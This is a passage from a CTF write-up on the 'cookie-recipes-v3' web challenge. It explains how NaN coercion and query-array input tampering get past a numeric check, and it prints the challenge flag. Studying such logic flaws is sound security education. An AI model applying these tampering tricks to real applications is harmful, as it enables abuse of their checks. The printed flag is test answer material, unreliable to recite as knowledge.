src="https://cdn-images-1.medium.com/max/436/0*2Lt1JibJOg9_kWKl.png" /></figure><p>The result turned into NaN (Not a Number). Why is it like this? If you look at this code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*TAghe8hgob2j_-AK.png" /></figure><p>We can see the cookies that we initially had (if there were none then it was considered 0) will be added with a variable number whose format is forcibly changed to a number. But because the variable number we give is the string “ad” then when it is forcibly converted into a number so the result is NaN, and then my 0 cookie added with NaN results to be NaN.</p><p>When delivered, the result is like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/0*MmTXycZz2dge-ID1.png" /></figure><p>So why we can get the flag? When I try to analyze this code again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*vwrkgU2kx6XOlELx.png" /></figure><p>In the if-else section, we are told that “if the cookies we have are smaller than the target, we don’t get a flag. Other than that, we get the flag” Well, it turned out that NaN cannot be compared using comparison operators (one of which is ‘&lt;’) so that when we compared the NaN to the target variable with the ‘&lt;’ operator the result is ‘false’. Now if the result is “true”, then it’s true that our cookies are smaller, so we don’t get the flag. But because the result is “false” then we will go to else section and get the flag.</p><p>DISCLAIMER: For this cookie-recipes-v3 challenge I am purely just guessing around. So that I got the flag by accident XD, but after trying and analyzing a few days later, I found out the reason (with the help of GPT of course😂) so that I was sure to make the writeup.</p><p><strong>1. cookie-recipes-v3 (Maybe this is the Intended Solve XD)</strong></p><p>After I saw writeups from several people (one of them is from the QnQSec team <a href="https://mh4ck3r0n3.github.io/posts/2025/03/31/cookie-recipes-v3/">here</a>),</p><p><a href="https://mh4ck3r0n3.github.io/posts/2025/03/31/cookie-recipes-v3/">🌐 Cookie-Recipes-V3</a></p><p>It turns out that the way to solve it is mostly using <em>input tampering techniques via query arrays</em>. Where we can input more than 2 character numbers when converted into an array and when converted into a string can escape and then be converted into numbers and the value becomes 1,000,000,000 and the result becomes like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xA_ZFVxrhUZUMzXj.png" /><figcaption>Forward this</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/0*_GLQQt60JiSSxGre.png" /><figcaption>The cookie results are like this</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/0*hBBJm5xwGa99jPhY.png" /><figcaption>Flag was obtained in a neater way</figcaption></figure><p><strong>FLAG : dice{cookie_cookie_cookie}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=630dcb92e9bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>